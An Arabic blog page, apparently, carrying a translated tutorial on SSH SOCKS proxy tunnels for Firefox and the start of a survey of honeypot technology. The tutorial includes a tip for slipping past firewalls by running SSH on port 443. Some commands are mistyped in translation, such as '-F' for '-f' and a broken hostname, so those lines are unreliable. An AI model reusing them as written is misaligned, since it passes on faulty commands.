PuTTY يستخدم لإعداد proxy tunnel لمستخدمي ويندوز. مستخدمي MAC OS  X أو Linux  لديهم أدوات لإعداد tunnel  مثبت مسبقا.

اعداد Tunnel على لينكس و MAC : 


على جهاز الكمبيوتر المحلي، قم بإنشاء مفتاح SSH . إذا كان لديك بالفعل مفتاح SSH ، يمكنك استخدامه.

على الرغم من انها ممارسة جيدة لإعطاء مفتاح SSH  الخاص بك كلمة مرور، في هذا المقال  سوف نقوم بترك كلمة المرور فارغة لتجنب اي مشاكل في وقت لاحق.

بعد إعدادك للمفتاح، تأكد من إضافته إلى المفاتيح المصرح بها لمستخدمي  sudo على الخادم (في هذا المثال، هو sammyuser).

افتح  برنامجاً من على الترمنال في الجهاز الخاص بك.

على نظام التشغيل Mac OS X،  الطرفية موجوده في قائمة التطبيقات >  المرفقات .

قم بإعداد ال Tunnel بإستخدام الأمرالتالي :

Ssh -D 8123 -F -C -q -N sammyuser@example. Com

خيارات الامر السابق :

-D: يخبر SSH  اننا نريد إجراء   SOCKS Tunnel  على  رقم المنفذ المحدد  (يمكنك اختيار عدد بين 65536-1025)

-F: يجعل   العملية تعمل في  الخلفية

-C: ضغط البيانات قبل إرسالها

-q: يستخدم الوضع الصامت

-N: يخبر SSH  أن أي أمر لن يرسل بمجرد تفعيل ال Tunnel

تأكد من استبدال sammy@example.com مع اسم المستخدم  الخاص بك  و عنوان الخادم IP أو اسم النطاق  .

بمجرد إدخال الأوامر، ستنتقل  فورا إلى موجه الأوامر مرة أخرى دون أي علامة على النجاح أو الفشل؛ وهذا أمر  طبيعي

تحقق من تفعيل ال Tunnel وانه تم تشغيله مع هذا الأمر:

ps aux | grep ssh

يجب أن تكون  المخرجات للامر السابق مشابهة للتالي :

Screenshot_2016-08-26-21-58-58-1

يمكنك إنهاء التطبيق الخاص بك وسوف يبقى ال Tunnel فعالاً . وذلك بسبب استخدمنا -f التي وضعت جلسة SSH في الخلفية

ملاحظة: إذا كنت ترغب في إنهاء ال Tunnel  سيكون عليك تحديد ال PID  عبر  امر ps واستخدام  امر  kill

 

اعداد Tunnel على انظمه windows : 


قم بفتح puTTY

إذا لم تكن قد قمت بتثبيته حتى الآن، حميل PuTTY واحفظه حيث تريد. PuTTY لا يتطلب صلاحيات المسؤول لتثبيته. فقط حمل .exe وقم  بتشغيله.

أكمل الخطوات التالية لإعداد ال Tunnel

1.من قسم الجلسة، أضف  اسم المضيف (أو عنوان IP) للخادم الخاص بك، و  SSH port (عادة 22)

wXDz8J7

 

2.على اليسار، انتقل إلى:

connection < SSH< tunnels

3.أدخل أي رقم لمصدر  المنفذ  بين 65536 – 1025. في هذا المثال استخدمنا المنفذ 1337

 

ZLPgf4V

4. حدد زر الإرسال  الديناميكي (Dynamic )

5. اضغط زر Add

6.عد للجلسة على اليسار

7. أضف  اسما تحت الجلسات  المحفوظة وانقر على زر حفظ

8.اضغط زر open لإجراء الإتصال

9.أدخل اسم المستخدم وكلمة مرور الخاص بك  لتسجيل الدخول

يمكنك تصغير نافذة  PuatTY الآن، ولكن لا تغلقها. وينبغي أن يكون اتصال SSH الخاص بك  مفتوحاً

نصيحة: يمكنك حفظ اسم مستخدم (sammy) ومفتاح SSH لهذه الجلسة نفسها باتباع ارشادات مفتاح PuTTY SSH . عندها لن يكون عليك إدخال اسم المستخدم وكلمة المرور الخاصة بك في كل مرة تقوم فيها بفتح اتصال .

 

 تهيئة Firefox  لاستخدام Tunnel :


الآن لديك  SSH tunnel ، وحان الوقت لتهيئة Firefox  لاستخدام هذا ال Tunnel . تذكر أنه لتشغيل  SOCKS 5 tunnel  ، عليك إستخدام تطبيق محلي  يمكنه الاستفادة من tunnel.  و Firefox بإمكانه ذلك.

هذه الخطوة هي نفسها ل Windows ، MAC OS X، Linux .

تأكد من حصولك على رقم المنفذ الذي استخدمته في أمر  SSH الخاص بك أو في PuTTY  المشير إلى  هذا المثال. لقد استخدمنا  مثال 8123 في OS X / Linux ، و 1337 في مثال Windows  حتى الآن، أو  قد تكون  استخدمت منفذا  مختلفاً .

(تم إجراء الخطوات التالية مع  إصدار 39 من Firefox  ولكن ينبغي العمل على إصدارات أخرى، على الرغم من أن مواقع الخيارات قد تكون مختلفة.

1_في الزاوية اليمنى من الأعلى   انقر على أيقونة Hamburger  للوصول إلى قائمة فايرفوكس:

bjh8Dh1

2-انقر على أيقونة Preferences  أو Options

3-انتقل إلى قسم Advance

4-انقر فوق علامة التبويب Network

k4DKcdA

5-انقر على زر setting  تحت عنوان الاتصال. سيتم فتح نافذة جديدة

6-حدد زر الإرسال  لتهيئة   proxy  يدوياً :

70cwU1N

7-أدخل localhost في خانة  SOCKS Host

8-أدخل نفس رقم المنفذ من إتصال SHH؛ وفي الصورة يمكنك ان ترى فقد ادخلنا 1337، ليتناسب مع  تعليمات Windows

9-انقر فوق زر OK لحفظ وإغلاق التكوين الخاص بك

الآن، افتح علامة تبويب أخرى في Firefox  وابدأ في تصفح الإنترنت! يجب أن تكون اعددت  كل شيء  لتصفح آمن من خلال SSH tunnel  الخاص بك.

للتحقق من أنك تستخدم ال proxy ، انتقل إلى إعدادات الشبكة في Firefox . وحاول إدخال رقم منفذ مختلف. انقر فوق موافق لحفظ الإعدادات. الآن إذا حاولت تصفح مواقع الإنترنت، يجب أن تحصل على رسالة خطأ الملقم الproxy  يرفض إلاتصالات. هذا يثبت أن Firefox  يستخدم الproxy وليس  الاتصال الافتراضي فقط . عد  إلى رقم المنفذ الصحيح، يجب أن تكون قادرا على التصفح مرة أخرى.

 

العودة إلى التصفح العادي الغير امن  في Firefox:

عند الانتهاء  من الحاجة إلى الاتصال المؤمن SSH tunnel ، انتقل إلى إ عدادات Networkproxy

انقر على زر الاختيار لإستخدام إعدادات proxy system ثم انقر فوق موافق.  الآن سوف يتصفح Firefox  عبر اعدادات الإتصال  العادية الخاصة بك، والتي من المحتمل  انها غير مضمونة.

إذا تم الانتهاء من استخدام ال Tunnel سيكون عليك إنهائه أيضا، والذي سنقوم بتغطيته في المقطع التالي.

إذا كنت تخطط لاستخدام  tunnel  في كثير من الأحيان يمكنك ترك المجال مفتوحا لاستخدامه لاحقا، ولكن لاحظ أنه قد ينتهي من تلقاء نفسه إذا بقي  خاملا لفترة طويلة جدا، أو إذا وضعت جهاز  الكمبيوتر على وضع sleep  أو قمت بإطفائه.

 

إغلاق ال Tunnel :


إن إغلاق الtunnel  سيوقف قدرة Firefox على   التصفح عبر  ال proxy  .

تم إرسال ال Tunnel الدي أنشأناه في وقت سابق على الجهاز المحلي الى الخلفية، لذلك فإغلاق النافذة الطرفية المستخدمته لفتح ال Tunnel  لن تغلقه.

لإغلاق  ال Tunnel  نحتاج إلى تحديد معرف العملية (PID) باستخدام الأمر ps ، ومن ثم انهائه باستخدام الأمر kill.

دعونا نبحث عن جميع عمليات SSH  النشطة على الجهاز لدينا:

Screenshot_2016-09-02-00-34-58-1

اعثر على السطر  الذي يبدو كالأمر الذي أدخلته في وقت سابق لإنشاء ال Tunnel . وإلذي قد يبدو كالتالي :

Screenshot_2016-09-02-00-34-45-1

من بداية السطر، في واحدة من أول عمودين، هناك رقم  مكون من 3-5 . هذا هو ال PID.  يتم تمييز ال  PID  من 14345.

الآن عليك أن تعرف ما هو PID، ويمكنك استخدام أ مر kill لجلب ال Tunnel لإسفل. استخدم PID الخاص بك عندما تنهي العملية.

Screenshot_2016-09-02-00-39-44-1

الآن، إذا كنت ترغب في أتمتة عملية الاتصال، انتقل إلى الخطوة 4

إغلاق ال Tunnel سيوقف قدرة Firefox  للتصفح عبر ال proxy .

أغلق نافذة PuTTY  الذي استخدمتها لإنشاء ال Tunnel . هذا كل ما في الأمر !

في نظام التشغيل Windows ليس هناك طريقة سهلة لأتمتة عملية الاتصال، ولكن كل من PuTTY  و Firefox  يمكنهما حفظ الإعدادات التي قمت بإدخالها سابقا، لذلك قم فقط  بفتح الاتصالات مجدداً  لاستخدام ال Tunnel  مرة أخرى.

 

 إنشاء اختصارات للاستخدام المتكرر

لأنظمة OS X أو Linux  يمكننا أن نضع  إسما مستعارا أو إنشاء برنامج نصي لينشئ ال Tunnel لنا بسرعة . وفيما يلي طريقتين لأتمتة عملية ال Tunnel .

ملاحظة: هذه الطرق المختصرة على حد سواء تتطلب مصادقة مفتاحي passwordless / passphraseless SSH  إلى الخادم!

 

Clickable BASH Script

إذا كنت تريد ايقونة لتنقر عليها نقرا مزدوجا ويبدأ ال Tunnel فقط، بإمكانك أن تنشئ BASH script للقيام بهذه المهمة.

يمكننا أن نعد ال script  لينشئ ال Tunnel   ويشغل Firefox ، على الرغم من أنك  لا تزال بحاجة إلى إضافة إعدادات  proxy يدويا في Firefox  لأول مرة.

في  OS X، ال Firefox binary الذي يمكننا تشغيله من سطر الأوامر هو insidefirefox.app. لنفترض أن التطبيق في مجلد التطبيقات،  سيتم العثور على  binary  في

 /Applications/Firefox.app/Contents/MacOS/firefox

في  أنظمة Linux ، إذا قمت بتثبيت Firefox  عن طريق ال repo أو أنه  مثبت مسبقا، إذا فإن  موقعه ينبغي ان يكون في

 usr/bin/Firefox/.

يمكنك دائما استخدام أمر which firefox  لمعرفة أين المسار على النظام الخاص بك.

في البرنامج النصي التالي استبدال الطريق الى Firefox  بطريق مناسب للنظام الخاص بك.

باستخدام محرر نصوص مثل nano أنشئ  ملفا جديداً :

Screenshot_2016-09-02-13-28-36-1

أضف الأسطر التالية:

Screenshot_2016-09-02-13-28-36-2

  • استبدل 8123 مع رقم المنفذ المطلوب (يجب أن يطابق ما وضعته في فايرفوكس)
  • استبدل sammy@example.com مع اسم المستخدم SSH الخاص بك عند اسم المضيف أو IP
  • استبدل     /Applications/Firefox.app/Contents/MacOS/firefox مع مسار برنامج Firefox

إجعل البرنامج النصي قابل للتنفيذ، بحيث عند النقر المزدوج عليه ، فإنه سيتم تنفيذه. من سطر الأوامر، أدخل هذا الأمر لإضافة تنفيذ الأذونات، وذلك بإستخدام مسار البرنامج النصي الخاص بك :

Screenshot_2016-09-02-14-33-57-1

على OS X، قد تضطر إلى إجراء خطوة إضافية لتخبر نظام التشغيل Mac OS X أن .shfile يجب أن  ينفذ كبرنامج وعدم فتحه في المحرر.

للقيام بذلك، انقر بالزر الأيمن على ملف socks5.sh وحدد الحصول على معلومات.

حدد القسم  Open with : وإذا كان مثلث الكشف لا يشير إلى الأسفل ، اضغط عليه حتى تتمكن من رؤية القائمة المنسدلة. قد يتم تعيين رمز X كتطبيق افتراضي.

8TJ7dvX

قم بتغييره إلى Terminal.app. إذا لم يتم سرد Terminal.app، اختر other ، ثم انتقل إلى Application > Utilities > Terminal.app.

لفتح SOCKS proxy  الخاص بك الآن، فقط انقر مرتين على ملف socks.sh.

(بعد تنفيذ النص فإنه لن يتأسس بكلمة مرور، لذلك فإنه سيفشل دون سابق  إذا كنت قد  قمت مسبقاً  بإعداد مفتاح SSH الخاص بك للمطالبة بعبارة مرور).

سيقوم البرنامج النصي بفتح نافذة طرفية، إبدأ اتصال SSH، وشغل Firefox  . لا تتردد في إغلاق النافذة الطرفية. طالما أبقيت إعدادات proxy  في Firefox ، يمكنك البدء في التصفح عبر اتصالك آمن .

 

Command-Line Alias:


إذا وجدت نفسك في سطر الأوامر في كثير من الأحيان وتريد جلب ال Tunnel ، يمكنك إنشاء اسم BASH مستعار  للقيام بهذه المهمة عنك او بما يسمى alias

الجزء الاصعب من إنشاء  alias هو اختيار مكان حفظه في الجهاز.

توزيعات Linux  المختلفة و اصدارات OS X تحفظ alias في أماكن مختلفة. أفضل شيء  هو البحث عن أحد الملفات التالية  لنرى أين يجري حالياً  حفظ الأسماء الأخرى. وتشمل الاحتمالات

  • ~/.bashrc
  • ~/.bash_aliases
  • ~/.bash_profile
  • ~/.profile

بمجرد العثور على الملف الصحيح، أضف alias الخاص بك  في نهاية الملف

Screenshot_2016-09-02-15-30-24-1

  • استبدل 8123 مع رقم المنفذ المطلوب (يجب أن يطابق ما وضعته في فايرفوكس)
  • استبدل sammy@example.com مع اسم المستخدم SSH الخاص بك عند اسم المضيف أو IP
  • استبدل     /Applications/Firefox.app/Contents/MacOS/firefox مع طريق Firefox الثنائي

يتم تحميل الأسماء المستعارة  لخاص بك فقط عند بدء تشغيل shell جديدة ، لذلك أغلق الجلسة الطرفية  وأبدأ واحدة جديدة

الآن عند كتابة:

Screenshot_2016-09-02-15-39-40-1

هذا الاسم المستعار سيقوم بإعداد الTunnel الخاص بك، ثم يشغل Firefox  لك ومن ثم يعود بك  إلى موجه الأوامر.

تأكد ان Firefox  لا يزال مضبوطا لإستخدام ال proxy . يمكنك الآن تصفح بآمان!

 

استكشاف الأخطاء وإصلاحها: الحصول عليها من خلال جدران الحماية “Firewalls” :


إذا كان إتصالك يعمل ، فكل شيء  على ما يرام، ويمكنك الذهاب والتوقف عن القراءة.

ومع ذلك، إذا كنت قد اكتشفت أنه لا يمكنك إجراء اتصال SSH  بسبب تقييد جدار الحماية، لذلك فإنه من المحتمل أن المنفذ 22، المطلوب لإنشاء Tunnel  قد تم حظره.

إذا كان يمكنك التحكم في إعدادات ملقم  SSH proxy  (مع الوصول السريع لDigitalOcean Droplet ، ستتمكن من القيام بذلك)، يمكنك تعيين SSH للاستماع على منفذ آخر غير 22.

أي منفذ يمكنك استخدامه ولم يتم تعطيله؟

بصرف النظر عن خطة المشكوك فيها لتشغيل مسح المنفذ  بأداة مثل ShieldsUP! (مشكوك به حيث ان  الشبكة المحلية قد تعد هذا بمثابة هجوم)، فمن الأفضل  محاولة المنافذ التي عادة ما تترك  مفتوحة.

المنافذ التي غالبا ما تكون مفتوحة تشمل 80 (general Web traffic ) و 443 (SSL Web traffic ).

إذا كان خادم SSH الخاص بك لا يخدم المحتوى على شبكة الإنترنت، يمكن أن نخبر SSH ليستخدم واحد من هذه المنافذ على شبكة الإنترنت للاتصال عبره بدلا من المنفذ الافتراضي 22. 443 هو الخيار الافضل حيث من المتوقع أن حركة المرور مشفرة على هذا المنفذ، و حركة مرور SSH الخاصة بنا سيتم تشفيرها .

من موقع غير محمي بالجدار الناري، SSH في الDigitalOcean Droplet  المستخدم في proxy . (أو استخدام المدمج في الوحدة من لوحة التحكم، ولكن قد لا تحتاج إلى القيام بذلك إذا كنت خائفا انه تتم مراقبة حركتك المرورية على الشبكة .)

تحرير  إعدادات خادم SSH :

Screenshot_2016-09-02-16-37-33-1

ابحث عن سطر port 22

يمكننا إما استبدال 22 تماما (والذي يعد تقنية جيدة  لتصلب  SSH  على أي حال)، أو إضافة المنفذ الثاني لSSH للاستماع.

وسوف تختار أن يكون SSH المستمع على منافذ متعددة، لذلك سنقوم بإضافة خط جديد تحت port  22 الذي يقرأ port 443. وفيما يلي مثال:

Screenshot_2016-09-02-16-44-51-1

أعد  تشغيل SSH لتحميل تكوين SSH  الذي حررته للتو .

اعتمادا على التوزيع، فإن اسم خادم SSH  قد يختلف، لكن من المرجح أن تكون SSH  أوSSHD  . إذا كان أحدهما  لا يعمل جرب الآخر. 

Screenshot_2016-09-02-16-58-13-2

للتحقق من أن منفذ SSH  الجديد  يعمل، افتح  New shell  (لا تغلق الحالي حتى الآن، فقط في حال علقت من غير قصد  ) أثناء  استخدام SSh للمنفذ الجديد.

Screenshot_2016-09-02-16-58-13-1

إذا كنت ناجحا، يمكنك تسجيل الخروج الآن  من كلا ال shells  وفتح SSH tunnel  باستخدام المنفذ الجديد

 

  ssh -D 8123 -f -C -q -N sammy @ example. com -p 443

 

سوف تكون إعدادات Firefox  بالضبط نفسها لأنها لا تعتمد على منفذ SSH، تعتمد على منفذ الTunnel اعلاه(8123) .

 

الخاتمة:


افتح  SOCKS 5 tunnel  لتصفح  آمن عبر  SSH tunnel   كلما كنت بحاجة إلى وسيلة سريعة للوصول إلى شبكة الإنترنت في مأمن من المتطفلين.

 

ترجمة لمقال : How To Route Web Traffic Securely Without a VPN Using a SOCKS Tunnel لصاحبها Michael Holley

اقرأ ايضا مقال : هل نحن حقاً بحاجة الى استخدام اتصال VPN

مقال : دليل عملي لمصائد مخترقي الشبكات “Honeypot “

$
0
0

هذا المقال مكون من جزئين: أحدهما  دراسة استقصائية عن تكنولوجيا مصائد مخترقي الشبكات “Honeypot” والآخر  حالة دراسية تصف  مصائد  low-interaction   وتنفيذها  في  تطبيقات  جافا. تعطي الدراسة الاستقصائية  لمحة موجزة  عن مفاهيم Honeypot  وتشير الى  أعمال أكثر تفصيلا .اما الحالة الدراسية المطبقة  تتضمن العديد من القرارات اللازمة عند تصميم مصائد low-interaction

 

المقدمة:


في هذا القسم سوف نصف نظام كشف التسلل الى الشبكات، كنهج تقليدي لأمان الشبكة. وتالياً سنقوم بتقديم لمحة تاريخية موجزة عن  honeypots.

 سيختتم الجزء بمناقشة عامة عن  مزايا وعيوب ال honeypots. 

1.1  أنظمة كشف تسلل الشبكات

الهدف من نظام كشف التسلل  (IDS ) هو “التحديد، والتفضيل في نفس الوقت ، وكشف الاستخدام غير المصرح به و إساءة استخدام أنظمة الكمبيوتر من داخل او خارج الشبكة .

يتم استخدام (IDS )  كبديل (أو تكملة) لبناء جدار حول الشبكة. جدران الحماية احيانا غير فعالة في بعض الحالات ، بما في ذلك الفشل في منع الهجمات من داخل الشبكة.

على الرغم أن  الأساسات وضعت لأنظمة  الكشف، الا أنها لم تكن موضوعة حتى عمل  paxson  في عام 1998 على ان تصبح أساليب  بناء أنظمة  الكشف  في الوقت المناسب  متاحة للجميع .

 يقوم النظام بتحويل تيار من الحزم في سلسلة من احداث الشبكة  الرفيعة المستوى التي يمكن تحليلها حسب نظام السياسة الأمنية .

منذ 1999،  امتد هذا العمل ليتضمن تقنيات تعليم الآلات المتقدمة  بالإضافة  الى كشف افضل عن التهديدات مثل هجمات الحرمان من الخدمة . ومع ذلك، في حين ان IDS لا زالت تتقدم ، الا أن  طرق إحباط  IDSs  أصبحت أكثر انتشارا .

على سبيل المثال، Wagner و Soto   قاما بتطوير فئة من  الهجمات المحاكيه  التي تحاكي  السلوك الاصلي للتطبيق ، وفي ضوء هذه الهجمات المحاكيه كذلك الإنتشار المتزايد للإتصالات المشفرة ،  فإن البدائل مثل honeypots أصبحت أكثر شعبية.

1.2 مصائد مخترقي الشبكات “Honeypot “

التعريف الدقيق للHoneypot  مثير للجدل، ولكن معظم التعاريف تتضمن ما يلي:
Honeypot  هو “مصدر معلومات خاصة بالنظام  والتي تحتوي على معلومات خاصة بالاستخدام غير المصرح به أو غير المشروع ” (www.securityfocus.com)
وتعريف اخر اكثر عملية ،ومحدودية ، من pcmag.com:
” خادم تم اعداده للكشف عن المتسلل بواسطة محاكاه الواقع الافتراضي للسيرفرات. اذ يبدو كخادم عادي يقوم بالعمل، ولكن كل البيانات والمعاملات مزيفه. تقع إما في أو خارج جدار الحماية، ويتم استخدام المصيدة لمعرفة المزيد عن تقنيات المتسلل وكذلك تحديد نقاط الضعف في النظام الحقيقي .
في الممارسة العملية، فإن المصائد” Honeypots”  عبارة عن أجهزة كمبيوتر غير محمية  .

في المصيدة يتم تسجيل كل الإجراءات والتفاعلات مع المستخدمين. حيث ان مصائد مخترقي الشبكات  لا توفر أي خدمات حقيقه ، قد يكون بعضها مزيف او ضار . Talabis يقدم مصائد يمكنها الكشف عن المتسللين بدقة عاليه .

1.3  تاريخ مصائد مخترقي الشبكات:


كانت أول مصيدة متوفرة للعلن  هي  Deception ToolKit ل Fred Cohen في عام 1998 والتي كان  “يهدف لجعلها  تبدو للمهاجمين كما لو [كان] في نظام تشغيل DTK عدد كبير من نقاط الضعف المعروفة على نطاق واسع.

أصبحت أكثر مصائد مخترقي الشبكات متاحة سواء علناً  أو  تجارياً  في أواخر التسعينات. كما بدأت الديدان ” worms ” تتكاثر  في بداية عام 2000، أثبتت مصائد مخترقي الشبكات ضرورة  التقاط وتحليل الديدان.

في عام 2004، تم إدخال مصائد مخترقي الشبكات  الافتراضية التي تسمح بتشغيل  مصائد متعددة  على خادم واحد .

1.4 أنواع honeypots:


هناك نوعان شائعان من فئات  مصائد مخترقي الشبكات المتاحة اليوم، وهما high-interaction و low-interaction . يتم تعريف هذه الفئات على أساس الخدمات، أو مستوى التفاعل، التي تقدمه المصيدة للقراصنة المحتملين .

تتيح مصائد High-interaction للقراصنة التفاعل مع النظام كما يفعلون بأي نظام تشغيل عادي، بهدف الاستيلاء على أكبر قدر ممكن من المعلومات عن تقنيات المهاجم.

أي أمر أو طلب يتوقعه المستخدم النهائي ليتم تثبيته متاح وبشكل عام، هناك القليل من  القيود الموضوعة على ما يمكن للمخترق القيام به بمجرد انه / انها اخترق للنظام.

بينما  مصائد low-interaction, تقدم للقراصنة خدمات محاكاة مع مجموعة فرعية محدودة من الوظائف التي يتوقعونها من الخادم، بهدف الكشف عن مصادر النشاط الغير مصرح به. على سبيل المثال، فإن خدمة HTTP على مصيدة low-interaction  تدعم فقط الأوامر اللازمة  لتحديد أن هناك  محاولة استغلال معروفة .

بعض المؤلفين  يصنفون مصائد مخترقي الشبكات الى فئة ثالثة، وهي medium-interaction ،  حيث توفر تفاعلاً  اكبر من  مصائد  low-interaction ، ولكن أقل من أنظمة high-interaction . مصيدة medium-interaction  قد تنفذ و بشكل كامل بروتوكول HTTP لمحاكاة تنفيذية لمورد معروف ، مثل Apache . ومع ذلك، لا توجد تطبيقات من مصائد medium-interaction  وفي هذا المقال ،  فإن تعريف مصائد low-interaction  يتضمن وظائف مصائد medium-interaction  وذلك لأنها لا توفر سوى تنفيذ جزئي للخدمات ولا تسمح بالتفاعل النموذجي الكامل مع النظام مثل  مصائد high-interaction .

1.5  مزايا وعيوب عامة ل Honeypots:


توفر مصائد مخترقي الشبكات  العديد من المزايا  من خلال بعض الحلول الأمنية، بما في ذلك أنظمة كشف تسلل الشبكات:

  •  ايجابيات كاذبة أقل نظرا لعدم استخدام المصيدة في حركات المرور الشرعية
  • جمع قواعد بيانات  صغيرة، ذات قيمة عالية،  لأنها تسجل نشاط غير شرعي فقط
  • العمل في بيئات مشفرة
  • لا تتطلب توقيع هجوم معروف، على عكس IDS .

 

مصائد مخترقي الشبكات ليست مثالية، على الرغم من أنه :

  •  يمكن استخدامها من قبل المهاجمين لمهاجمة الأنظمة الأخرى .
  • مراقبة التفاعلات  تتم  فقط مباشرة مع المصيدة – كما أنه لا يمكنها الكشف عن الهجمات ضد ألأنظمة ألاخرى
  •  يحتمل أن يتم كشفها من قبل المهاجم

الحلول الأمنية التقليدية ، مثل أنظمة كشف التسلل، قد لا تكون كافية في ضوء الهجمات ألاكثر تعقيداً . توفر مصائد مخترقي الشبكات  آلية للكشف عن الهجمات الغير مألوفه ، وحتى في البيئات المشفرة.  وقد حققت تقدماً  مثل المحاكاة الافتراضية حيث  جعلت مصائد مخترقي الشبكات “Honeypots ”  أكثر فعالية. كما أن مصائد مخترقي الشبكات  لها عيوب، على الرغم من ذلك فمن المهم أن نفهم كيف تعمل مصائد مخترقي الشبكات من أجل تعظيم فعاليتها.

 

2. آخر الاتجاهات والتطورات :


في هذا القسم، سوف نناقش الاتجاه نحو تجميع ال honeypots  إلى honeynets أو  honeyfarms . ال shadow Honeypots و  distributed honeypots ، كلاهما تقنيات حديثة ،وسيتم عرضها  لاحقاً  .

2.1 Honeynets و Honeyfarms

Honeynets وhoneyfarms هي أسماء تعطى لمجموعات من مصائد مخترقي الشبكات . Honeyfarms تميل إلى أن تكون أكثر مركزية. توفر مصائد مخترقي الشبكات  تجميعا للعديد من الاتفاقيات التي تساعد على تخفيف الكثير من أوجه القصور في مصائد مخترقي الشبكات  التقليدية. على سبيل المثال، غالبا مصائد مخترقي الشبكات  تقييد حركة المرور الصادرة من أجل تجنب مهاجمة غير المصيدة. ومع ذلك، يسمح هذا القيد بكشف هوية مصائد مخترقي الشبكات   للمهاجم. He et al . استخدم honeyfarms كنقاط لإعادة توجيه حركة المرور الصادرة من كل مصيدة فردية. هذه النقاط الموجهة تتصرف أيضاً  مثل الضحايا الحقيقيين. ويبين الشكل (1) إعادة توجيه لحركة المرور الصادرة من مصيدة إلى نقطة أخرى في honeyfarm.

fig1

2.2 Shadow Honeypots:

Shadow Honeypots  هي  عبارة عن مزيج من honeypots  وأنظمة الكشف عن الشذوذ (ADS)، والتي تعتبر بديل آخر لأنظمة كشف التسلل المستندة إلى بعض القواعد .يمكن العثور على مقارنة بين ADS مع أنظمة كشف أخرى  من هنا .
Shadow honeypots  أولاً تُفصل الحركات  الشاذة من حركات المرور العادية. يتم إرسال حركة المرور الشاذة إلى Shadow honeypot  التي تعتبر خدمة شرعية كما هو مبين في الشكل 2.

إذا تم الكشف عن هجوم من قبل Shadow honeypot ، يتم تجاهل أي تغييرات في الأوامر في  المصيدة.  غير ذلك، يتم التعامل مع العملية والتغيرات بشكل صحيح. في حين تتطلب Shadow honeypots  الكثير من الأعباء ، الا أنها  مفيدة لأنها تكشف عن الهجمات المحتملة  إثر حالة الخدمة. وتقدم دراسات تنفيذية .fig2

2.3 Distributed Honeypots

إحدى  سيئات honeypots هو أنها يجب أن  تأخذ  جزءا كبيرا من مساحة العنوان من أجل أن تكون فعالة ومفيدة (حيث ان المهاجمين و البرمجيات الخبيثة يجب أن تستهدف honeypots).

Yang et al . وفر  إطارا موزعا للحوسبة الشبكية حيث يقوم المضيف المشروع بإعادة توجيه  المستخدمين المشبوهين الى مصيدة واحدة  .

ويتم استخدام بديل  من قبل  Honey@home  وفيها كل عميل مسؤول  عن عنوان IP  واحد غير مستخدم . يتم إعادة توجيه حركة مرور العميل  بشكل مجهول من خلال شبكة Tor  إلى مجموعة من مصائد مخترقي الشبكات المتوسطة

Honeyfarms ،honeynets,  distributed honeypots  جميعها تعزز  الحاجة إلى رصد مجموعة كبيرة من عناوين الشبكة من أجل  أن تكون المصيدة  فعالة. كما تم مناقشته في القسم 2.1، تجميع honeypots يمكنه أيضا إضافة وظائف لhoneypots عن طريق السماح للعمليات  كالمحاكاة الصادرة عن حركة المرور.

3 منتجات honeypot الحالية :


في هذا القسم، سوف نقدم شرحاً  موجزا جداً  عن Honeyd و HoneyBot، و  Specter honeypots.   وسوف نصف  ما يميز المنتج  ونوفر معلومات مرجعية لكل واحدة منها . من ثم سنقدم المشورة للاختيار بين الحلول.

3.1 Honeyd

Honeyd هي مصيدة Linux /Unix  التي وضعها الباحث الأمني Niels provos .

Honeyd  فتحت آفاقا جديدة حيث أنه يمكنها أن تنشئ عدد من المضيفين الظاهريين على الشبكة (بدلا من مجرد استخدام مضيف فعلي واحد).

يمكن للمصيدة  محاكاة أنظمة تشغيل مختلفة (والتي تختلف في كيفية الرد على بعض الرسائل) والخدمات.

حيث أن Honeyed تحاكي أنظمة التشغيل على مستوى حزمة  TCP / IP، يمكنها حتى خداع  أدوات تحليل الشبكة المتطورة  مثل Nmap  . و رجوعا للهجوم، يمكن ل Honeyd  محاولة التعرف على المضيف البعيد  . الموقع الرسمي لمشروع Honeyd .

3.2 HoneyBOT

honeybot هي عبارة عن  Windows medium-interaction honeypot  مقدمة من قبل Atomic Software Solutions 

حيث  بدأت  في الأصل كمحاولة للكشف عن رمز Red and Nimda worms  في عام 2001 واصبحت مجانية الاستخدام للجميع منذ 2005.

HoneyBot تسمح للمهاجمين بتحميل الملفات إلى  منطقة محجورة من أجل كشف حصان طروادة والجذور الخفية.  واجهة مستخدم HoneyBot  مبينة في الشكل 3.

fig3

3.3 Specter

مصممين Specter  يصفونه  بأنه “نظام لكشف التسلل القائم على المصيدة”. ومع ذلك،  فإن المنتج في الأصل مصيدة تهدف الى جذب المهاجمين بعيدا عن نظم الإنتاج وجمع الأدلة ضد المهاجمين.  Specter  لديه بعض الميزات المثيرة للإهتمام التي لا توجد في غيرها من الحلول:

  • Specter  يجعل شرك البيانات متاحة للمهاجمين للوصول والتنزيل.ملفات البيانات هذه تترك علامات على كمبيوتر المهاجم كدليل
  •  يمكن ل Specter  محاكاة الآلات في حالات مختلفة: نظام مكون بشكل سيئ أو  نظام مؤمن  أو نظام تالف (مع فشل  الأجهزة أو البرمجيات )، أو نظام لا يمكن التنبؤ به.
  • Specter  يقوم بمحاولات نشطة لجمع المعلومات عن كل مهاجم.

 

ويبين الشكل 4  مركز تحكم Specter الرئيسي .  يمكن العثور على Specter على  الانترنت http: //www.specter.com

fig4

3.4 المقارنة:


HoneyBOT هو وسيلة رائعة لبدء استكشاف عالم  مصائد مخترقي الشبكات . على الرغم من أنها تفتقر إلى وظائف Honeyd  و Specter  (ومغلقة المصدر) إلا أنها تسمح للمستخدمين بتشغيل المصيدة بسرعة. و كمصيدة مفتوحة المصدر، Honeyd مرنة تماما. رغم أن لديها العديد من الميزات المعقدة، مثل تكنولوجيا تصميم  الشبكة الظاهرية  ،  إن تكنولوجيا المصيدة الأساسية  سهلة الاستخدام.

Specter  مغلق المصدر وغير حر. ولكن، كمنتج تجاري، فقد تم الاهتمام كثيرا ببناء واجهة المستخدم الرسومية والنظام المساعد فية . وعلاوة على ذلك، فإنه يشمل العديد من (التكنولوجيا وبراءات الاختراع المنتظرة ) والفريدة من نوعها. على سبيل المثال، يمكن ل Specter  ترك علامات قابلة للتحقق على أجهزة المهاجم. ويقدم الجدول 1 مقارنة موجزة  لمصائد مخترقي الشبكات

Screenshot_2016-09-07-03-48-58-1

4 HoneyRJ: حالة دراسية تنفيذية لمصيدة low-interaction:


تطبيق، HoneyRJ، هو تنفيذ لمصيدة low-interaction . كما هو محدد أعلاه،  مصيدة low-interaction تخدم  عددا من البروتوكولات محدودة الوظائف بقصد الاستيلاء على المصدر من حركة المرور القادمة إلى المصيدة. تقع المصيدة  في عنوان IP والذي يتم استخدامه فقط لغرض المصيدة وليس لأي خدمات مشروعة.  أن أية اتصالات إلى أن البرنامج  يتم اعتبارها خبيثة ويتم تسجيلها لفحصها في  وقت لاحق .
